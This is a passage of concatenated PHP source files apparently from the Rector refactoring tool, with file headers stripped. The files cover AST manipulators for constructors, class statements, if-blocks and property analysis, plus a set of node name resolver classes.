$phpVersionProvider; $this->propertyPresenceChecker = $propertyPresenceChecker; $this->nodeNameResolver = $nodeNameResolver; $this->autowiredClassMethodOrPropertyAnalyzer = $autowiredClassMethodOrPropertyAnalyzer; $this->reflectionResolver = $reflectionResolver; } public function addConstructorDependency(Class_ $class, PropertyMetadata $propertyMetadata) : void { if ($this->hasClassPropertyAndDependency($class, $propertyMetadata)) { return; } if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::PROPERTY_PROMOTION)) { $this->classInsertManipulator->addPropertyToClass($class, $propertyMetadata->getName(), $propertyMetadata->getType()); } if ($this->shouldAddPromotedProperty($class, $propertyMetadata)) { $this->addPromotedProperty($class, $propertyMetadata); } else { $assign = $this->nodeFactory->createPropertyAssignment($propertyMetadata->getName()); $this->addConstructorDependencyWithCustomAssign($class, $propertyMetadata->getName(), $propertyMetadata->getType(), $assign); } } /** * @api doctrine */ public function addConstructorDependencyWithCustomAssign(Class_ $class, string $name, ?Type $type, Assign $assign) : void { /** @var ClassMethod|null $constructorMethod */ $constructorMethod = $class->getMethod(MethodName::CONSTRUCT); if ($constructorMethod instanceof ClassMethod) { $this->classMethodAssignManipulator->addParameterAndAssignToMethod($constructorMethod, $name, $type, $assign); return; } $constructorMethod = $this->nodeFactory->createPublicMethod(MethodName::CONSTRUCT); $this->classMethodAssignManipulator->addParameterAndAssignToMethod($constructorMethod, $name, $type, $assign); $this->classInsertManipulator->addAsFirstMethod($class, $constructorMethod); } /** * @api doctrine * @param Stmt[] $stmts */ public function addStmtsToConstructorIfNotThereYet(Class_ $class, array $stmts) : void { $classMethod = $class->getMethod(MethodName::CONSTRUCT); if (!$classMethod instanceof ClassMethod) { $classMethod = $this->nodeFactory->createPublicMethod(MethodName::CONSTRUCT); // keep parent constructor call if ($this->hasClassParentClassMethod($class, MethodName::CONSTRUCT)) { $classMethod->stmts[] = $this->createParentClassMethodCall(MethodName::CONSTRUCT); } $classMethod->stmts = \array_merge((array) $classMethod->stmts, $stmts); $class->stmts = \array_merge($class->stmts, [$classMethod]); return; } $stmts = $this->stmtsManipulator->filterOutExistingStmts($classMethod, $stmts); // all stmts are already there → skip if ($stmts === []) { return; } $classMethod->stmts = \array_merge($stmts, (array) $classMethod->stmts); } private function addPromotedProperty(Class_ $class, PropertyMetadata $propertyMetadata) : void { $constructClassMethod = $class->getMethod(MethodName::CONSTRUCT); $param = $this->nodeFactory->createPromotedPropertyParam($propertyMetadata); if ($constructClassMethod instanceof ClassMethod) { // parameter is already added if ($this->hasMethodParameter($constructClassMethod, $propertyMetadata->getName())) { return; } $constructClassMethod->params[] = $param; } else { $constructClassMethod = $this->nodeFactory->createPublicMethod(MethodName::CONSTRUCT); $constructClassMethod->params[] = $param; $this->classInsertManipulator->addAsFirstMethod($class, $constructClassMethod); } } private function hasClassParentClassMethod(Class_ $class, string $methodName) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($class); if (!$classReflection instanceof ClassReflection) { return \false; } foreach ($classReflection->getParents() as $parentClassReflection) { if ($parentClassReflection->hasMethod($methodName)) { return \true; } } return \false; } private function createParentClassMethodCall(string $methodName) : Expression { $staticCall = new StaticCall(new Name(ObjectReference::PARENT), $methodName); return new Expression($staticCall); } private function isParamInConstructor(Class_ $class, string $propertyName) : bool { $constructClassMethod = $class->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return \false; } foreach ($constructClassMethod->params as $param) { if ($this->nodeNameResolver->isName($param, $propertyName)) { return \true; } } return \false; } private function hasClassPropertyAndDependency(Class_ $class, PropertyMetadata $propertyMetadata) : bool { $property = $this->propertyPresenceChecker->getClassContextProperty($class, $propertyMetadata); if ($property === null) { return \false; } if (!$this->autowiredClassMethodOrPropertyAnalyzer->detect($property)) { return $this->isParamInConstructor($class, $propertyMetadata->getName()); } // is inject/autowired property? return $property instanceof Property; } private function hasMethodParameter(ClassMethod $classMethod, string $name) : bool { foreach ($classMethod->params as $param) { if ($this->nodeNameResolver->isName($param->var, $name)) { return \true; } } return \false; } private function shouldAddPromotedProperty(Class_ $class, PropertyMetadata $propertyMetadata) : bool { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::PROPERTY_PROMOTION)) { return \false; } // only if the property does not exist yet $existingProperty = $class->getProperty($propertyMetadata->getName()); return !$existingProperty instanceof Property; } } nodeFactory = $nodeFactory; } /** * @api * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassConst|\PhpParser\Node\Stmt\ClassMethod $addedStmt */ public function addAsFirstMethod(Class_ $class, $addedStmt) : void { $scope = $class->getAttribute(AttributeKey::SCOPE); $addedStmt->setAttribute(AttributeKey::SCOPE, $scope); // no stmts? add this one if ($class->stmts === []) { $class->stmts[] = $addedStmt; return; } $newClassStmts = []; $isAdded = \false; foreach ($class->stmts as $key => $classStmt) { $nextStmt = $class->stmts[$key + 1] ?? null; if ($isAdded === \false) { // first class method if ($classStmt instanceof ClassMethod) { $newClassStmts[] = $addedStmt; $newClassStmts[] = $classStmt; $isAdded = \true; continue; } // after last property if ($classStmt instanceof Property && !$nextStmt instanceof Property) { $newClassStmts[] = $classStmt; $newClassStmts[] = $addedStmt; $isAdded = \true; continue; } } $newClassStmts[] = $classStmt; } // still not added? try after last trait // @todo if ($isAdded) { $class->stmts = $newClassStmts; return; } // keep added at least as first stmt $class->stmts = \array_merge([$addedStmt], $class->stmts); } /** * @internal Use PropertyAdder service instead */ public function addPropertyToClass(Class_ $class, string $name, ?Type $type) : void { $existingProperty = $class->getProperty($name); if ($existingProperty instanceof Property) { return; } $property = $this->nodeFactory->createPrivatePropertyFromNameAndType($name, $type); $this->addAsFirstMethod($class, $property); } } nodeNameResolver = $nodeNameResolver; $this->reflectionProvider = $reflectionProvider; } public function hasParentMethodOrInterface(ObjectType $objectType, string $oldMethod) : bool { if (!$this->reflectionProvider->hasClass($objectType->getClassName())) { return \false; } $classReflection = $this->reflectionProvider->getClass($objectType->getClassName()); $ancestorClassReflections = \array_merge($classReflection->getParents(), $classReflection->getInterfaces()); foreach ($ancestorClassReflections as $ancestorClassReflection) { if (!$ancestorClassReflection->hasMethod($oldMethod)) { continue; } return \true; } return \false; } /** * @api phpunit */ public function hasTrait(Class_ $class, string $desiredTrait) : bool { foreach ($class->getTraitUses() as $traitUse) { foreach ($traitUse->traits as $traitName) { if (!$this->nodeNameResolver->isName($traitName, $desiredTrait)) { continue; } return \true; } } return \false; } } */ private $alreadyAddedClassMethodNames = []; public function __construct(NodeFactory $nodeFactory, NodeNameResolver $nodeNameResolver) { $this->nodeFactory = $nodeFactory; $this->nodeNameResolver = $nodeNameResolver; } public function addParameterAndAssignToMethod(ClassMethod $classMethod, string $name, ?Type $type, Assign $assign) : void { if ($this->hasMethodParameter($classMethod, $name)) { return; } $classMethod->params[] = $this->nodeFactory->createParamFromNameAndType($name, $type); $classMethod->stmts[] = new Expression($assign); $classMethodId = \spl_object_id($classMethod); $this->alreadyAddedClassMethodNames[$classMethodId][] = $name; } private function hasMethodParameter(ClassMethod $classMethod, string $name) : bool { foreach ($classMethod->params as $param) { if ($this->nodeNameResolver->isName($param->var, $name)) { return \true; } } $classMethodId = \spl_object_id($classMethod); if (!isset($this->alreadyAddedClassMethodNames[$classMethodId])) { return \false; } return \in_array($name, $this->alreadyAddedClassMethodNames[$classMethodId], \true); } } nodeNameResolver = $nodeNameResolver; $this->reflectionResolver = $reflectionResolver; } public function isNamedConstructor(ClassMethod $classMethod) : bool { if (!$this->nodeNameResolver->isName($classMethod, MethodName::CONSTRUCT)) { return \false; } $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return \false; } if ($classMethod->isPrivate()) { return \true; } if ($classReflection->isFinalByKeyword()) { return \false; } return $classMethod->isProtected(); } public function hasParentMethodOrInterfaceMethod(Class_ $class, string $methodName) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($class); if (!$classReflection instanceof ClassReflection) { return \false; } foreach ($classReflection->getParents() as $parentClassReflection) { if ($parentClassReflection->hasMethod($methodName)) { return \true; } if ($parentClassReflection->hasMethod(MethodName::CALL)) { return \true; } } foreach ($classReflection->getInterfaces() as $interfaceReflection) { if ($interfaceReflection->hasMethod($methodName)) { return \true; } } return \false; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->nodeNameResolver = $nodeNameResolver; $this->functionLikeManipulator = $functionLikeManipulator; } /** * In case the property name is different to param name: * * E.g.: * (SomeType $anotherValue) * $this->value = $anotherValue; * ↓ * (SomeType $anotherValue) */ public function findParamAssignToPropertyName(ClassMethod $classMethod, string $propertyName) : ?Param { $assignedParamName = null; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $classMethod->stmts, function (Node $node) use($propertyName, &$assignedParamName) : ?int { if ($node instanceof Class_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$node instanceof Assign) { return null; } if (!$node->var instanceof PropertyFetch && !$node->var instanceof StaticPropertyFetch) { return null; } if (!$this->nodeNameResolver->isName($node->var, $propertyName)) { return null; } if ($node->expr instanceof MethodCall || $node->expr instanceof StaticCall) { return null; } $assignedParamName = $this->nodeNameResolver->getName($node->expr); return NodeTraverser::STOP_TRAVERSAL; }); /** @var string|null $assignedParamName */ if ($assignedParamName === null) { return null; } /** @var Param $param */ foreach ($classMethod->params as $param) { if (!$this->nodeNameResolver->isName($param, $assignedParamName)) { continue; } return $param; } return null; } /** * E.g.: * $this->value = 1000; * ↓ * (int $value) * * @return Expr[] */ public function findAssignsToPropertyName(ClassMethod $classMethod, string $propertyName) : array { $assignExprs = []; $paramNames = $this->functionLikeManipulator->resolveParamNames($classMethod); $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $classMethod->stmts, function (Node $node) use($propertyName, &$assignExprs, $paramNames) : ?int { if ($node instanceof Class_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$node instanceof Assign) { return null; } if (!$node->var instanceof PropertyFetch && !$node->var instanceof StaticPropertyFetch) { return null; } if (!$this->nodeNameResolver->isName($node->var, $propertyName)) { return null; } // skip param assigns if ($this->nodeNameResolver->isNames($node->expr, $paramNames)) { return null; } $assignExprs[] = $node->expr; return null; }); return $assignExprs; } } valueResolver = $valueResolver; } /** * @param FuncCall[] $compactFuncCalls * @return string[] */ public function extractArgumentsFromCompactFuncCalls(array $compactFuncCalls) : array { $arguments = []; foreach ($compactFuncCalls as $compactFuncCall) { foreach ($compactFuncCall->args as $arg) { if (!$arg instanceof Arg) { continue; } $value = $this->valueResolver->getValue($arg->value); if ($value === null) { continue; } $arguments[] = $value; } } return $arguments; } } nodeNameResolver = $nodeNameResolver; } /** * @return string[] */ public function resolveParamNames(FunctionLike $functionLike) : array { $paramNames = []; foreach ($functionLike->getParams() as $param) { $paramNames[] = $this->nodeNameResolver->getName($param); } return $paramNames; } } betterNodeFinder = $betterNodeFinder; $this->stmtsManipulator = $stmtsManipulator; $this->valueResolver = $valueResolver; $this->nodeComparator = $nodeComparator; } /** * Matches: * * if (<$value> !== null) { * return $value; * } */ public function matchIfNotNullReturnValue(If_ $if) : ?Expr { if (\count($if->stmts) !== 1) { return null; } $insideIfNode = $if->stmts[0]; if (!$insideIfNode instanceof Return_) { return null; } if (!$if->cond instanceof NotIdentical) { return null; } return $this->matchComparedAndReturnedNode($if->cond, $insideIfNode); } /** * @return If_[] */ public function collectNestedIfsWithOnlyReturn(If_ $if) : array { $ifs = []; $currentIf = $if; while ($this->isIfWithOnlyStmtIf($currentIf)) { $ifs[] = $currentIf; /** @var If_ $currentIf */ $currentIf = $currentIf->stmts[0]; } if ($ifs === []) { return []; } if (!$this->hasOnlyStmtOfType($currentIf, Return_::class)) { return []; } // last if is with the return value $ifs[] = $currentIf; return $ifs; } public function isIfAndElseWithSameVariableAssignAsLastStmts(If_ $if, Expr $desiredExpr) : bool { if (!$if->else instanceof Else_) { return \false; } if ((bool) $if->elseifs) { return \false; } $lastIfNode = $this->stmtsManipulator->getUnwrappedLastStmt($if->stmts); if (!$lastIfNode instanceof Assign) { return \false; } $lastElseNode = $this->stmtsManipulator->getUnwrappedLastStmt($if->else->stmts); if (!$lastElseNode instanceof Assign) { return \false; } if (!$lastIfNode->var instanceof Variable) { return \false; } if (!$this->nodeComparator->areNodesEqual($lastIfNode->var, $lastElseNode->var)) { return \false; } return $this->nodeComparator->areNodesEqual($desiredExpr, $lastElseNode->var); } /** * @return If_[] */ public function collectNestedIfsWithNonBreaking(Foreach_ $foreach) : array { if (\count($foreach->stmts) !== 1) { return []; } $onlyForeachStmt = $foreach->stmts[0]; if (!$onlyForeachStmt instanceof If_) { return []; } if ($onlyForeachStmt->cond instanceof BooleanOr) { return []; } $ifs = []; $currentIf = $onlyForeachStmt; while ($this->isIfWithOnlyStmtIf($currentIf)) { $ifs[] = $currentIf; /** @var If_ $currentIf */ $currentIf = $currentIf->stmts[0]; } // IfManipulator is not build to handle elseif and else if (!$this->isIfWithoutElseAndElseIfs($currentIf)) { return []; } $return = $this->betterNodeFinder->findFirstInstanceOf($currentIf->stmts, Return_::class); if ($return instanceof Return_) { return []; } $exit = $this->betterNodeFinder->findFirstInstanceOf($currentIf->stmts, Exit_::class); if ($exit instanceof Exit_) { return []; } // last if is with the expression $ifs[] = $currentIf; return $ifs; } /** * @param class-string $stmtClass */ public function isIfWithOnly(If_ $if, string $stmtClass) : bool { if (!$this->isIfWithoutElseAndElseIfs($if)) { return \false; } return $this->hasOnlyStmtOfType($if, $stmtClass); } public function isIfWithoutElseAndElseIfs(If_ $if) : bool { if ($if->else instanceof Else_) { return \false; } return $if->elseifs === []; } private function matchComparedAndReturnedNode(NotIdentical $notIdentical, Return_ $return) : ?Expr { if ($this->nodeComparator->areNodesEqual($notIdentical->left, $return->expr) && $this->valueResolver->isNull($notIdentical->right)) { return $notIdentical->left; } if (!$this->nodeComparator->areNodesEqual($notIdentical->right, $return->expr)) { return null; } if ($this->valueResolver->isNull($notIdentical->left)) { return $notIdentical->right; } return null; } private function isIfWithOnlyStmtIf(If_ $if) : bool { if (!$this->isIfWithoutElseAndElseIfs($if)) { return \false; } return $this->hasOnlyStmtOfType($if, If_::class); } /** * @param class-string $stmtClass */ private function hasOnlyStmtOfType(If_ $if, string $stmtClass) : bool { $stmts = $if->stmts; if (\count($stmts) !== 1) { return \false; } return $stmts[0] instanceof $stmtClass; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->nodeNameResolver = $nodeNameResolver; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; } public function isAssignedMultipleTimesInConstructor(Class_ $class, Property $property) : bool { $classMethod = $class->getMethod(MethodName::CONSTRUCT); if (!$classMethod instanceof ClassMethod) { return \false; } $count = 0; $propertyName = $this->nodeNameResolver->getName($property); $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $classMethod->getStmts(), function (Node $node) use($propertyName, &$count) : ?int { // skip anonymous classes and inner function if ($node instanceof Class_ || $node instanceof Function_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$node instanceof Assign && !$node instanceof AssignOp) { return null; } if (!$this->propertyFetchAnalyzer->isLocalPropertyFetchName($node->var, $propertyName)) { return null; } ++$count; if ($count === 2) { return NodeTraverser::STOP_TRAVERSAL; } return null; }); return $count === 2; } } [] */ private const DOCTRINE_PROPERTY_ANNOTATIONS = ['Doctrine\\ORM\\Mapping\\Entity', 'Doctrine\\ORM\\Mapping\\Table', 'Doctrine\\ORM\\Mapping\\MappedSuperclass', 'Doctrine\\ORM\\Mapping\\Embeddable']; public function __construct(\Rector\NodeManipulator\AssignManipulator $assignManipulator, BetterNodeFinder $betterNodeFinder, PhpDocInfoFactory $phpDocInfoFactory, PropertyFetchFinder $propertyFetchFinder, NodeNameResolver $nodeNameResolver, PhpAttributeAnalyzer $phpAttributeAnalyzer, NodeTypeResolver $nodeTypeResolver, PromotedPropertyResolver $promotedPropertyResolver, ConstructorAssignDetector $constructorAssignDetector, AstResolver $astResolver, PropertyFetchAnalyzer $propertyFetchAnalyzer) { $this->assignManipulator = $assignManipulator; $this->betterNodeFinder = $betterNodeFinder; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->propertyFetchFinder = $propertyFetchFinder; $this->nodeNameResolver = $nodeNameResolver; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; $this->nodeTypeResolver = $nodeTypeResolver; $this->promotedPropertyResolver = $promotedPropertyResolver; $this->constructorAssignDetector = $constructorAssignDetector; $this->astResolver = $astResolver; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; } /** * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $propertyOrParam */ public function isPropertyChangeableExceptConstructor(Class_ $class, $propertyOrParam, Scope $scope) : bool { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($class); if ($this->hasAllowedNotReadonlyAnnotationOrAttribute($phpDocInfo, $class)) { return \true; } $propertyFetches = $this->propertyFetchFinder->findPrivatePropertyFetches($class, $propertyOrParam, $scope); $classMethod = $class->getMethod(MethodName::CONSTRUCT); foreach ($propertyFetches as $propertyFetch) { if ($this->isChangeableContext($propertyFetch)) { return \true; } // skip for constructor? it is allowed to set value in constructor method $propertyName = (string) $this->nodeNameResolver->getName($propertyFetch); if ($this->isPropertyAssignedOnlyInConstructor($class, $propertyName, $propertyFetch, $classMethod)) { continue; } if ($this->assignManipulator->isLeftPartOfAssign($propertyFetch)) { return \true; } if ($propertyFetch->getAttribute(AttributeKey::IS_UNSET_VAR) === \true) { return \true; } } return \false; } /** * @api Used in rector-symfony */ public function resolveExistingClassPropertyNameByType(Class_ $class, ObjectType $objectType) : ?string { foreach ($class->getProperties() as $property) { $propertyType = $this->nodeTypeResolver->getType($property); if (!$propertyType->equals($objectType)) { continue; } return $this->nodeNameResolver->getName($property); } $promotedPropertyParams = $this->promotedPropertyResolver->resolveFromClass($class); foreach ($promotedPropertyParams as $promotedPropertyParam) { $paramType = $this->nodeTypeResolver->getType($promotedPropertyParam); if (!$paramType->equals($objectType)) { continue; } return $this->nodeNameResolver->getName($promotedPropertyParam); } return null; } public function isUsedByTrait(ClassReflection $classReflection, string $propertyName) : bool { foreach ($classReflection->getTraits() as $traitUse) { $trait = $this->astResolver->resolveClassFromClassReflection($traitUse); if (!$trait instanceof Trait_) { continue; } if ($this->propertyFetchAnalyzer->containsLocalPropertyFetchName($trait, $propertyName)) { return \true; } } return \false; } /** * @param \PhpParser\Node\Expr\StaticPropertyFetch|\PhpParser\Node\Expr\PropertyFetch $propertyFetch */ private function isPropertyAssignedOnlyInConstructor(Class_ $class, string $propertyName, $propertyFetch, ?ClassMethod $classMethod) : bool { if (!$classMethod instanceof ClassMethod) { return \false; } $node = $this->betterNodeFinder->findFirst((array) $classMethod->stmts, static function (Node $subNode) use($propertyFetch) : bool { return ($subNode instanceof PropertyFetch || $subNode instanceof StaticPropertyFetch) && $subNode === $propertyFetch; }); // there is property unset in Test class, so only check on __construct if (!$node instanceof Node) { return \false; } return $this->constructorAssignDetector->isPropertyAssigned($class, $propertyName); } /** * @param \PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\StaticPropertyFetch $propertyFetch */ private function isChangeableContext($propertyFetch) : bool { if ($propertyFetch->getAttribute(AttributeKey::IS_UNSET_VAR, \false)) { return \true; } if ($propertyFetch->getAttribute(AttributeKey::INSIDE_ARRAY_DIM_FETCH, \false)) { return \true; } if ($propertyFetch->getAttribute(AttributeKey::IS_USED_AS_ARG_BY_REF_VALUE, \false) === \true) { return \true; } return $propertyFetch->getAttribute(AttributeKey::IS_INCREMENT_OR_DECREMENT, \false) === \true; } private function hasAllowedNotReadonlyAnnotationOrAttribute(PhpDocInfo $phpDocInfo, Class_ $class) : bool { if ($phpDocInfo->hasByAnnotationClasses(self::DOCTRINE_PROPERTY_ANNOTATIONS)) { return \true; } return $this->phpAttributeAnalyzer->hasPhpAttributes($class, self::DOCTRINE_PROPERTY_ANNOTATIONS); } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->betterNodeFinder = $betterNodeFinder; $this->nodeComparator = $nodeComparator; $this->exprUsedInNodeAnalyzer = $exprUsedInNodeAnalyzer; } /** * @param Stmt[] $stmts */ public function getUnwrappedLastStmt(array $stmts) : ?Node { \end($stmts); $lastStmtKey = \key($stmts); \reset($stmts); $lastStmt = $stmts[$lastStmtKey]; if ($lastStmt instanceof Expression) { return $lastStmt->expr; } return $lastStmt; } /** * @param Stmt[] $stmts * @return Stmt[] */ public function filterOutExistingStmts(ClassMethod $classMethod, array $stmts) : array { $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $classMethod->stmts, function (Node $node) use(&$stmts) { foreach ($stmts as $key => $assign) { if (!$this->nodeComparator->areNodesEqual($node, $assign)) { continue; } unset($stmts[$key]); } return null; }); return $stmts; } /** * @param StmtsAwareInterface|Stmt[] $stmtsAware */ public function isVariableUsedInNextStmt($stmtsAware, int $jumpToKey, string $variableName) : bool { if ($stmtsAware instanceof StmtsAwareInterface && $stmtsAware->stmts === null) { return \false; } $stmts = \array_slice($stmtsAware instanceof StmtsAwareInterface ? $stmtsAware->stmts : $stmtsAware, $jumpToKey, null, \true); $variable = new Variable($variableName); return (bool) $this->betterNodeFinder->findFirst($stmts, function (Node $subNode) use($variable) : bool { return $this->exprUsedInNodeAnalyzer->isUsed($subNode, $variable); }); } } */ public function getNode() : string; /** * @param TNode $node */ public function resolve(Node $node, ?Scope $scope) : ?string; } */ private $nodeNameResolversByClass = []; /** * @param NodeNameResolverInterface[] $nodeNameResolvers */ public function __construct(ClassNaming $classNaming, CallAnalyzer $callAnalyzer, iterable $nodeNameResolvers = []) { $this->classNaming = $classNaming; $this->callAnalyzer = $callAnalyzer; $this->nodeNameResolvers = $nodeNameResolvers; } /** * @param string[] $names */ public function isNames(Node $node, array $names) : bool { $nodeName = $this->getName($node); if ($nodeName === null) { return \false; } foreach ($names as $name) { if ($this->isStringName($nodeName, $name)) { return \true; } } return \false; } /** * @param Node|Node[] $node * @param MethodName::*|string $name */ public function isName($node, string $name) : bool { $nodes = \is_array($node) ? $node : [$node]; foreach ($nodes as $node) { if ($this->isSingleName($node, $name)) { return \true; } } return \false; } /** * Some nodes have always-known string name. This makes PHPStan smarter. * @see https://phpstan.org/writing-php-code/phpdoc-types#conditional-return-types * * @return ($node is Param ? string : * ($node is ClassMethod ? string : * ($node is Property ? string : * ($node is PropertyProperty ? string : * ($node is Trait_ ? string : * ($node is Interface_ ? string : * ($node is Const_ ? string : * ($node is Node\Const_ ? string : * ($node is Name ? string : * string|null ))))))))) * @param \PhpParser\Node|string $node */ public function getName($node) : ?string { if (\is_string($node)) { return $node; } // useful for looped imported names $namespacedName = $node->getAttribute(AttributeKey::NAMESPACED_NAME); if (\is_string($namespacedName)) { return $namespacedName; } if (($node instanceof MethodCall || $node instanceof StaticCall || $node instanceof NullsafeMethodCall) && $this->isCallOrIdentifier($node->name)) { return null; } $scope = $node->getAttribute(AttributeKey::SCOPE); $resolvedName = $this->resolveNodeName($node, $scope); if ($resolvedName !== null) { return $resolvedName; } // more complex if (!\property_exists($node, 'name')) { return null; } // unable to resolve if ($node->name instanceof Expr) { return null; } return (string) $node->name; } /** * @api */ public function areNamesEqual(Node $firstNode, Node $secondNode) : bool { $secondResolvedName = $this->getName($secondNode); if ($secondResolvedName === null) { return \false; } return $this->isName($firstNode, $secondResolvedName); } /** * @api * * @param Name[]|Node[] $nodes * @return string[] */ public function getNames(array $nodes) : array { $names = []; foreach ($nodes as $node) { $name = $this->getName($node); if (!\is_string($name)) { throw new ShouldNotHappenException(); } $names[] = $name; } return $names; } /** * @param string|\PhpParser\Node\Name|\PhpParser\Node\Identifier|\PhpParser\Node\Stmt\ClassLike $name */ public function getShortName($name) : string { return $this->classNaming->getShortName($name); } public function isStringName(string $resolvedName, string $desiredName) : bool { if ($desiredName === '') { return \false; } // special case if ($desiredName === 'Object') { return $desiredName === $resolvedName; } if (\strcasecmp($resolvedName, $desiredName) === 0) { return \true; } foreach (self::REGEX_WILDCARD_CHARS as $char) { if (\strpos($desiredName, $char) !== \false) { throw new ShouldNotHappenException('Matching of regular expressions is no longer supported. Use $this->getName() and compare with e.g. str_ends_with() or str_starts_with() instead.'); } } return \false; } /** * @param \PhpParser\Node\Expr|\PhpParser\Node\Identifier $node */ private function isCallOrIdentifier($node) : bool { if ($node instanceof Expr) { return $this->callAnalyzer->isObjectCall($node); } return \true; } private function isSingleName(Node $node, string $desiredName) : bool { if ($node instanceof CallLike && !$node instanceof FuncCall) { // method call cannot have a name, only the variable or method name return \false; } $resolvedName = $this->getName($node); if ($resolvedName === null) { return \false; } return $this->isStringName($resolvedName, $desiredName); } private function resolveNodeName(Node $node, ?Scope $scope) : ?string { $nodeClass = \get_class($node); if (\array_key_exists($nodeClass, $this->nodeNameResolversByClass)) { $resolver = $this->nodeNameResolversByClass[$nodeClass]; if ($resolver instanceof NodeNameResolverInterface) { return $resolver->resolve($node, $scope); } return null; } foreach ($this->nodeNameResolvers as $nodeNameResolver) { if (!\is_a($node, $nodeNameResolver->getNode(), \true)) { continue; } $this->nodeNameResolversByClass[$nodeClass] = $nodeNameResolver; return $nodeNameResolver->resolve($node, $scope); } $this->nodeNameResolversByClass[$nodeClass] = null; return null; } } */ final class ClassConstFetchNameResolver implements NodeNameResolverInterface { public function getNode() : string { return ClassConstFetch::class; } /** * @param ClassConstFetch $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->class instanceof Expr) { return null; } if (!$node->name instanceof Identifier) { return null; } $class = $node->class->toString(); $name = $node->name->toString(); return $class . '::' . $name; } } */ final class ClassConstNameResolver implements NodeNameResolverInterface { public function getNode() : string { return ClassConst::class; } /** * @param ClassConst $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->consts === []) { return null; } $onlyConstant = $node->consts[0]; return $onlyConstant->name->toString(); } } */ final class ClassNameResolver implements NodeNameResolverInterface { public function getNode() : string { return ClassLike::class; } /** * @param ClassLike $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->namespacedName instanceof Name) { return $node->namespacedName->toString(); } if (!$node->name instanceof Identifier) { return null; } return $node->name->toString(); } } */ final class FuncCallNameResolver implements NodeNameResolverInterface { /** * @readonly * @var \PHPStan\Reflection\ReflectionProvider */ private $reflectionProvider; public function __construct(ReflectionProvider $reflectionProvider) { $this->reflectionProvider = $reflectionProvider; } public function getNode() : string { return FuncCall::class; } /** * If some function is namespaced, it will be used over global one. * But only if it really exists. * * @param FuncCall $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->name instanceof Expr) { return null; } $namespaceName = $node->name->getAttribute(AttributeKey::NAMESPACED_NAME); if ($namespaceName instanceof FullyQualified) { $functionFqnName = $namespaceName->toString(); if ($this->reflectionProvider->hasFunction($namespaceName, null)) { return $functionFqnName; } } return (string) $node->name; } } */ final class FunctionNameResolver implements NodeNameResolverInterface { public function getNode() : string { return Function_::class; } /** * @param Function_ $node */ public function resolve(Node $node, ?Scope $scope) : ?string { $bareName = (string) $node->name; if (!$scope instanceof Scope) { return $bareName; } $namespaceName = $scope->getNamespace(); if ($namespaceName !== null) { return $namespaceName . '\\' . $bareName; } return $bareName; } } */ final class NameNameResolver implements NodeNameResolverInterface { public function getNode() : string { return Name::class; } /** * @param Name $node */ public function resolve(Node $node, ?Scope $scope) : ?string { return $node->toString(); } } */ final class ParamNameResolver implements NodeNameResolverInterface { public function getNode() : string { return Param::class; } /** * @param Param $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->var instanceof Error) { return null; } if ($node->var->name instanceof Expr) { return null; } return $node->var->name; } } */ final class PropertyNameResolver implements NodeNameResolverInterface { public function getNode() : string { return Property::class; } /** * @param Property $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->props === []) { return null; } $onlyProperty = $node->props[0]; return $onlyProperty->name->toString(); } } */ final class UseNameResolver implements NodeNameResolverInterface { public function getNode() : string { return Use_::class; } /** * @param Use_ $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->uses === []) { return null; } $onlyUse = $node->uses[0]; return $onlyUse->name->toString(); } } */ final class VariableNameResolver implements NodeNameResolverInterface { public function getNode() : string { return Variable::class; } /** * @param Variable $node */ public function resolve(Node $node, ?Scope $scope) : ?string { if ($node->name instanceof Expr) { return null; } return $node->name; } } */ private const START_AND_END_DELIMITERS = ['(' => ')', '{' => '}', '[' => ']', '<' => '>']; public function isRegexPattern(string $name) : bool { if (\strlen($name) <= 2) { return \false; } $firstChar = $name[0]; $lastChar = $name[\strlen($name) - 1]; if ($firstChar !== $lastChar) { foreach (self::START_AND_END_DELIMITERS as $start => $end) { if ($firstChar !== $start) { continue; } if ($lastChar !== $end) { continue; } return \true; } return \false; } return \in_array($firstChar, self::POSSIBLE_DELIMITERS, \true); } } getAttribute(AttributeKey::IS_IN_LOOP) === \true; } /** * @api */ public function isInIf(Node $node) : bool { return $node->getAttribute(AttributeKey::IS_IN_IF) === \true; } } > */ public const CONDITIONAL_NODE_SCOPE_TYPES = [If_::class, While_::class, Do_::class, Else_::class, ElseIf_::class, Catch_::class, Case_::class, Match_::class, Switch_::class, Foreach_::class]; } > */ public function getNodeClasses() : array; /** * @param TNode $node */ public function resolve(Node $node) : Type; } resolveAdditionalConfigFiles(); try { $this->container = $containerFactory->create(SimpleParameterProvider::provideStringParameter(Option::CONTAINER_CACHE_DIRECTORY), $additionalConfigFiles, []); } catch (Throwable $throwable) { if ($throwable->getMessage() === "File 'phar://phpstan.phar/conf/bleedingEdge.neon' is missing or is not readable.") { $symfonyStyle = new 